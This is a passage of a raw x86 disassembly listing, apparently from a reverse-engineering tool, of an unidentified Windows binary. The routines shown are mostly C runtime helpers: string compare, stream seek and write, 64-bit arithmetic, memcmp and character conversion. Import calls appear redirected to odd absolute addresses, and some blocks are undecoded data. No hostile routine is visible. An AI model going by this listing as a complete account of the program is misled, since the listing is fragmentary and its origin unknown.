-18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax nop call near ptr 2790172h lea eax, [ebp+var_20] push eax nop call near ptr 2890000h mov ax, [ebp+var_16] cmp ax, word_4DB2E2 jnz short loc_41D0E6 mov ax, [ebp+var_18] cmp ax, word_4DB2E0 jnz short loc_41D0E6 mov ax, [ebp+var_1A] cmp ax, word_4DB2DE jnz short loc_41D0E6 mov ax, [ebp+var_1E] cmp ax, word_4DB2DA jnz short loc_41D0E6 mov ax, [ebp+var_20] cmp ax, word_4DB2D8 jnz short loc_41D0E6 mov eax, dword_4DB2D0 jmp short loc_41D12B ; --------------------------------------------------------------------------- loc_41D0E6: ; CODE XREF: sub_41D081+28j ; sub_41D081+35j ... lea eax, [ebp+var_CC] push eax nop call near ptr 2880000h cmp eax, 0FFFFFFFFh jz short loc_41D113 cmp eax, 2 jnz short loc_41D10F cmp [ebp+var_32], 0 jz short loc_41D10F cmp [ebp+var_24], 0 jz short loc_41D10F push 1 pop eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D10F: ; CODE XREF: sub_41D081+7Aj ; sub_41D081+81j ... xor eax, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D113: ; CODE XREF: sub_41D081+75j or eax, 0FFFFFFFFh loc_41D116: ; CODE XREF: sub_41D081+8Cj ; sub_41D081+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4DB2D8 movsd movsd movsd movsd pop edi mov dword_4DB2D0, eax pop esi loc_41D12B: ; CODE XREF: sub_41D081+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_422669 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41D15B mov [ecx], eax locret_41D15B: ; CODE XREF: sub_41D081+D6j leave retn sub_41D081 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D160 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4DB32C cmp dword ptr [eax+8], 0 jnz short loc_41D1B3 mov al, 0FFh mov edi, edi loc_41D17C: ; CODE XREF: sub_41D160+28j ; sub_41D160+48j or al, al jz short loc_41D1AE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D17C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D17C sbb al, al sbb al, 0FFh loc_41D1AE: ; CODE XREF: sub_41D160+1Ej movsx eax, al jmp short loc_41D1E7 ; --------------------------------------------------------------------------- loc_41D1B3: ; CODE XREF: sub_41D160+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D1BC: ; CODE XREF: sub_41D160+68j ; sub_41D160+80j or al, al jz short loc_41D1E7 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D1BC push eax push ebx call sub_41D74C mov ebx, eax add esp, 4 call sub_41D74C add esp, 4 cmp bl, al jz short loc_41D1BC sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D1E7: ; CODE XREF: sub_41D160+51j ; sub_41D160+5Ej pop ebx pop esi pop edi leave retn sub_41D160 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41D268 mov edi, [esp+14h] test edi, edi jz short loc_41D20B cmp edi, 1 jz short loc_41D20B cmp edi, 2 jnz short loc_41D268 loc_41D20B: ; CODE XREF: ___:0041D1FFj ; ___:0041D204j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41D222 push esi call sub_4227C5 add [esp+14h], eax pop ecx xor edi, edi loc_41D222: ; CODE XREF: ___:0041D213j push esi call sub_41DB8B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41D237 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41D24B ; --------------------------------------------------------------------------- loc_41D237: ; CODE XREF: ___:0041D22Ej test al, 1 jz short loc_41D24B test al, 8 jz short loc_41D24B test ah, 4 jnz short loc_41D24B mov dword ptr [esi+18h], 200h loc_41D24B: ; CODE XREF: ___:0041D235j ; ___:0041D239j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_42272B add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41D275 ; --------------------------------------------------------------------------- loc_41D268: ; CODE XREF: ___:0041D1F7j ; ___:0041D209j mov dword_4DB278, 16h or eax, 0FFFFFFFFh loc_41D275: ; CODE XREF: ___:0041D266j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D280 proc near ; CODE XREF: sub_412B08+19Ep ; sub_41386B+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41D299 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41D299: ; CODE XREF: sub_41D280+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41D280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2B4 proc near ; CODE XREF: ___:004162E3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41D2D8 xor eax, eax jmp loc_41D3A5 ; --------------------------------------------------------------------------- loc_41D2D8: ; CODE XREF: sub_41D2B4+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41D2EB mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41D2F2 ; --------------------------------------------------------------------------- loc_41D2EB: ; CODE XREF: sub_41D2B4+2Dj mov [ebp+arg_C], 1000h loc_41D2F2: ; CODE XREF: sub_41D2B4+35j ; sub_41D2B4+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41D326 mov eax, [esi+4] test eax, eax jz short loc_41D326 cmp ebx, eax mov edi, ebx jb short loc_41D30C mov edi, eax loc_41D30C: ; CODE XREF: sub_41D2B4+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41C310 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41D36C ; --------------------------------------------------------------------------- loc_41D326: ; CODE XREF: sub_41D2B4+47j ; sub_41D2B4+4Ej cmp ebx, [ebp+arg_C] jb short loc_41D371 test ecx, ecx jz short loc_41D33A push esi call sub_41DB8B test eax, eax pop ecx jnz short loc_41D3B3 loc_41D33A: ; CODE XREF: sub_41D2B4+79j cmp [ebp+arg_C], 0 jz short loc_41D34D mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41D34F ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D2B4+8Aj mov edi, ebx loc_41D34F: ; CODE XREF: sub_41D2B4+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41D3AA add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41D3AA loc_41D36C: ; CODE XREF: sub_41D2B4+70j mov edi, [ebp+var_4] jmp short loc_41D39A ; --------------------------------------------------------------------------- loc_41D371: ; CODE XREF: sub_41D2B4+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41F58A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41D3B3 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41D39A mov [ebp+arg_C], 1 loc_41D39A: ; CODE XREF: sub_41D2B4+BBj ; sub_41D2B4+DDj test ebx, ebx jnz loc_41D2F2 mov eax, [ebp+arg_8] loc_41D3A5: ; CODE XREF: sub_41D2B4+1Fj ; sub_41D2B4+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41D3AA: ; CODE XREF: sub_41D2B4+ADj ; sub_41D2B4+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41D3B5 ; --------------------------------------------------------------------------- loc_41D3B3: ; CODE XREF: sub_41D2B4+84j ; sub_41D2B4+CFj mov eax, edi loc_41D3B5: ; CODE XREF: sub_41D2B4+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41D3A5 sub_41D2B4 endp ; =============== S U B R O U T I N E ======================================= sub_41D3BE proc near ; CODE XREF: sub_416908+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] nop call near ptr 2680DCBh cmp eax, 0FFFFFFFFh jnz short loc_41D3DE nop call near ptr 2680925h push eax call sub_4203DF pop ecx loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj test al, 1 jz short loc_41D3FF test [esp+arg_4], 2 jz short loc_41D3FF mov dword_4DB278, 0Dh mov dword_4DB27C, 5 jmp short loc_41D3DA ; --------------------------------------------------------------------------- loc_41D3FF: ; CODE XREF: sub_41D3BE+22j ; sub_41D3BE+29j xor eax, eax retn sub_41D3BE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D410 proc near ; CODE XREF: sub_416922+3Fp ; sub_41A98C+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41D432 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41D473 ; --------------------------------------------------------------------------- loc_41D432: ; CODE XREF: sub_41D410+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41D440: ; CODE XREF: sub_41D410+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D440 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41D46E cmp edx, [esp+8+arg_4] ja short loc_41D46E jb short loc_41D46F cmp eax, [esp+8+arg_0] jbe short loc_41D46F loc_41D46E: ; CODE XREF: sub_41D410+4Ej ; sub_41D410+54j dec esi loc_41D46F: ; CODE XREF: sub_41D410+56j ; sub_41D410+5Cj xor edx, edx mov eax, esi loc_41D473: ; CODE XREF: sub_41D410+20j pop esi pop ebx retn 10h sub_41D410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D480 proc near ; CODE XREF: sub_416922+2Dp ; sub_41A98C+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41D4A1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41D4F1 ; --------------------------------------------------------------------------- loc_41D4A1: ; CODE XREF: sub_41D480+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41D4AF: ; CODE XREF: sub_41D480+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D4AF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41D4DA cmp edx, [esp+4+arg_4] ja short loc_41D4DA jb short loc_41D4E2 cmp eax, [esp+4+arg_0] jbe short loc_41D4E2 loc_41D4DA: ; CODE XREF: sub_41D480+4Aj ; sub_41D480+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41D4E2: ; CODE XREF: sub_41D480+52j ; sub_41D480+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41D4F1: ; CODE XREF: sub_41D480+1Fj pop ebx retn 10h sub_41D480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D500 proc near ; CODE XREF: sub_416A32+5Fp ; sub_416A32+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41D521 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41D521: ; CODE XREF: sub_41D500+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41D53D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41D53D: ; CODE XREF: sub_41D500+27j or eax, eax jnz short loc_41D559 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41D59A ; --------------------------------------------------------------------------- loc_41D559: ; CODE XREF: sub_41D500+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41D567: ; CODE XREF: sub_41D500+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41D567 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41D595 cmp edx, [esp+0Ch+arg_4] ja short loc_41D595 jb short loc_41D596 cmp eax, [esp+0Ch+arg_0] jbe short loc_41D596 loc_41D595: ; CODE XREF: sub_41D500+85j ; sub_41D500+8Bj dec esi loc_41D596: ; CODE XREF: sub_41D500+8Dj ; sub_41D500+93j xor edx, edx mov eax, esi loc_41D59A: ; CODE XREF: sub_41D500+57j dec edi jnz short loc_41D5A4 neg edx neg eax sbb edx, 0 loc_41D5A4: ; CODE XREF: sub_41D500+9Bj pop ebx pop esi pop edi retn 10h sub_41D500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5AA proc near ; CODE XREF: sub_4170EC+BFp ; sub_4170EC+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DB334 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41D5DE mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41D645 loc_41D5C6: ; CODE XREF: sub_41D5AA+30j mov cl, [edx] cmp cl, 61h jl short loc_41D5D7 cmp cl, 7Ah jg short loc_41D5D7 sub cl, 20h mov [edx], cl loc_41D5D7: ; CODE XREF: sub_41D5AA+21j ; sub_41D5AA+26j inc edx cmp [edx], bl jnz short loc_41D5C6 jmp short loc_41D645 ; --------------------------------------------------------------------------- loc_41D5DE: ; CODE XREF: sub_41D5AA+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_422ACA mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41D637 push edi call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41D637 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D637 push [ebp+var_4] push [ebp+arg_0] call sub_41BEB0 pop ecx pop ecx loc_41D637: ; CODE XREF: sub_41D5AA+53j ; sub_41D5AA+61j ... push [ebp+var_4] call sub_41B0B1 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41D645: ; CODE XREF: sub_41D5AA+1Aj ; sub_41D5AA+32j pop ebx leave retn sub_41D5AA endp ; =============== S U B R O U T I N E ======================================= sub_41D648 proc near ; CODE XREF: sub_417ADD+1A8p arg_0 = dword ptr 4 cmp dword_43C504, 1 jle short loc_41D65F push 4 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D65F: ; CODE XREF: sub_41D648+7j mov eax, [esp+arg_0] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 4 retn sub_41D648 endp ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_420510+76p ; sub_420510+88p ... arg_0 = dword ptr 4 cmp dword_43C504, 1 jle short loc_41D687 push 8 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D687: ; CODE XREF: sub_41D670+7j mov eax, [esp+arg_0] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 8 retn sub_41D670 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+0Ch] test eax, eax jz short locret_41D6EC mov edx, [esp+4] push esi push edi mov esi, edx mov edi, [esp+10h] or edx, edi and edx, 3 jz short loc_41D6ED test eax, 1 jz short loc_41D6CD mov cl, [esi] cmp cl, [edi] jnz short loc_41D71A inc esi inc edi dec eax jz short loc_41D6EA loc_41D6CD: ; CODE XREF: ___:0041D6C0j ; ___:0041D6E8j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41D71A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41D71A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41D6CD loc_41D6EA: ; CODE XREF: ___:0041D6CBj ; ___:0041D724j pop edi pop esi locret_41D6EC: ; CODE XREF: ___:0041D6A6j retn ; --------------------------------------------------------------------------- loc_41D6ED: ; CODE XREF: ___:0041D6B9j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41D722 repe cmpsd jz short loc_41D722 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41D715 cmp ch, dh jnz short loc_41D715 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41D715 cmp ch, dh loc_41D715: ; CODE XREF: ___:0041D703j ; ___:0041D707j ... mov eax, 0 loc_41D71A: ; CODE XREF: ___:0041D6C6j ; ___:0041D6D3j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41D722: ; CODE XREF: ___:0041D6F5j ; ___:0041D6F9j test eax, eax jz short loc_41D6EA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41D715 dec eax jz short loc_41D749 cmp dh, ch jnz short loc_41D715 dec eax jz short loc_41D749 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41D715 dec eax loc_41D749: ; CODE XREF: ___:0041D72Fj ; ___:0041D736j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D74C proc near ; CODE XREF: sub_418068+6p ; sub_418086+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB334, 0 push ebx push esi push edi jnz short loc_41D779 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41D812 cmp eax, 5Ah jg loc_41D812 add eax, 20h jmp loc_41D812 ; --------------------------------------------------------------------------- loc_41D779: ; CODE XREF: sub_41D74C+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41D7AD cmp dword_43C504, esi jle short loc_41D79B push esi push ebx call sub_41F515 pop ecx pop ecx jmp short loc_41D7A5 ; --------------------------------------------------------------------------- loc_41D79B: ; CODE XREF: sub_41D74C+42j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, esi loc_41D7A5: ; CODE XREF: sub_41D74C+4Dj test eax, eax jnz short loc_41D7AD loc_41D7A9: ; CODE XREF: sub_41D74C+ADj mov eax, ebx jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D7AD: ; CODE XREF: sub_41D74C+3Aj ; sub_41D74C+5Bj mov edx, off_43C2F8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D7D1 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41D7DA ; --------------------------------------------------------------------------- loc_41D7D1: ; CODE XREF: sub_41D74C+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41D7DA: ; CODE XREF: sub_41D74C+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D7A9 cmp eax, esi jnz short loc_41D805 movzx eax, [ebp+var_4] jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D805: ; CODE XREF: sub_41D74C+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D812: ; CODE XREF: sub_41D74C+16j ; sub_41D74C+1Fj ... pop edi pop esi pop ebx leave retn sub_41D74C endp ; =============== S U B R O U T I N E ======================================= sub_41D817 proc near ; CODE XREF: sub_4185A4+ADp ; sub_419593+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41D82E loc_41D824: ; CODE XREF: sub_41D817+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41D824 loc_41D82E: ; CODE XREF: sub_41D817+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41D817 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D834 proc near ; CODE XREF: sub_4185A4+7Fp ; sub_4185A4+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41D901 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41D92E cmp dword_4DB334, esi jnz short loc_41D885 cmp edi, esi jbe loc_41D92E loc_41D864: ; CODE XREF: sub_41D834+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41D92E inc eax inc edx inc edx cmp eax, edi jb short loc_41D864 jmp loc_41D92E ; --------------------------------------------------------------------------- loc_41D885: ; CODE XREF: sub_41D834+26j mov ebx, [ebp+arg_4] mov esi, dword_427180 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DB344 call esi test eax, eax jnz loc_41D92D nop call near ptr 2680925h cmp eax, 7Ah jz short loc_41D8BF loc_41D8B0: ; CODE XREF: sub_41D834+CBj ; sub_41D834+F7j mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D8BF: ; CODE XREF: sub_41D834+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41D8C7: ; CODE XREF: sub_41D834+B3j mov cl, [eax] test cl, cl jz short loc_41D8E9 mov edx, off_43C2F8 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41D8DE inc eax loc_41D8DE: ; CODE XREF: sub_41D834+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41D8C7 loc_41D8E9: ; CODE XREF: sub_41D834+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DB344 call esi test eax, eax jnz short loc_41D92E jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D901: ; CODE XREF: sub_41D834+Fj cmp dword_4DB334, esi jnz short loc_41D914 push [ebp+arg_4] call sub_41AFE0 pop ecx jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D914: ; CODE XREF: sub_41D834+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DB344 nop call near ptr 2830000h cmp eax, esi jz short loc_41D8B0 loc_41D92D: ; CODE XREF: sub_41D834+6Bj dec eax loc_41D92E: ; CODE XREF: sub_41D834+1Aj ; sub_41D834+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41D834 endp ; --------------------------------------------------------------------------- db 24h dd 0B7E2348Ch, 0C661414Eh, 99221C35h, 0A164E3FFh, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 2CE890E8h, 33024840h, 89D48AD2h dd 4DB29015h, 81C88B00h, 0FFE1h, 8C0D8900h, 0C1004DB2h dd 0CA0308E1h, 0B2880D89h, 0E8C1004Dh, 0B284A310h, 0F633004Dh dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h dd 5BE8FC75h, 90000059h, 483FCAE8h, 0C90CA302h, 19E8004Dh dd 0A3000058h, 4DB2E8h, 55C2E8h, 5504E800h, 0B9E80000h dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2482628h, 5495E8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 34EEE856h, 50900226h, 0FE3820E8h, 0A04589FFh dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 0D3E85150h dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41DA29 proc near ; CODE XREF: sub_41D052+16p ; ___:00422F18p ... arg_0 = dword ptr 4 cmp dword_4DB2F0, 1 jnz short loc_41DA37 call sub_423590 loc_41DA37: ; CODE XREF: sub_41DA29+7j push [esp+arg_0] call sub_4235C9 push 0FFh call off_43A2C0 pop ecx pop ecx retn sub_41DA29 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4DB2F0 dd 0E8057501h, 5B34h, 42474FFh, 5B64E8h, 0FF685900h, 90000000h dd 0A58244E8h db 77h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DA72 proc near ; CODE XREF: sub_41B05B+2Ap ; sub_423A33+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DC6C0 jnb loc_41DB0C mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41DB0C push edi call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DAEB cmp edi, 1 jz short loc_41DAB9 cmp edi, 2 jnz short loc_41DACF loc_41DAB9: ; CODE XREF: sub_41DA72+40j push 2 call sub_4238A2 push 1 mov ebp, eax call sub_4238A2 pop ecx cmp eax, ebp pop ecx jz short loc_41DAEB loc_41DACF: ; CODE XREF: sub_41DA72+45j push edi call sub_4238A2 pop ecx push eax nop call near ptr 26608E4h test eax, eax jnz short loc_41DAEB nop call near ptr 2680925h mov ebp, eax jmp short loc_41DAED ; --------------------------------------------------------------------------- loc_41DAEB: ; CODE XREF: sub_41DA72+3Bj ; sub_41DA72+5Bj ... xor ebp, ebp loc_41DAED: ; CODE XREF: sub_41DA72+77j push edi call sub_423828 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41DB08 push ebp call sub_4203DF pop ecx jmp short loc_41DB1D ; --------------------------------------------------------------------------- loc_41DB08: ; CODE XREF: sub_41DA72+8Bj xor eax, eax jmp short loc_41DB20 ; --------------------------------------------------------------------------- loc_41DB0C: ; CODE XREF: sub_41DA72+Ej ; sub_41DA72+2Fj and dword_4DB27C, 0 mov dword_4DB278, 9 loc_41DB1D: ; CODE XREF: sub_41DA72+94j or eax, 0FFFFFFFFh loc_41DB20: ; CODE XREF: sub_41DA72+98j pop edi pop esi pop ebp pop ebx retn sub_41DA72 endp ; =============== S U B R O U T I N E ======================================= sub_41DB25 proc near ; CODE XREF: sub_41B05B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41DB4E test al, 8 jz short loc_41DB4E push dword ptr [esi+8] call sub_41B0B1 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41DB4E: ; CODE XREF: sub_41DB25+Aj ; sub_41DB25+Ej pop esi retn sub_41DB25 endp ; =============== S U B R O U T I N E ======================================= sub_41DB50 proc near ; CODE XREF: sub_41DBF0+2Dp ; 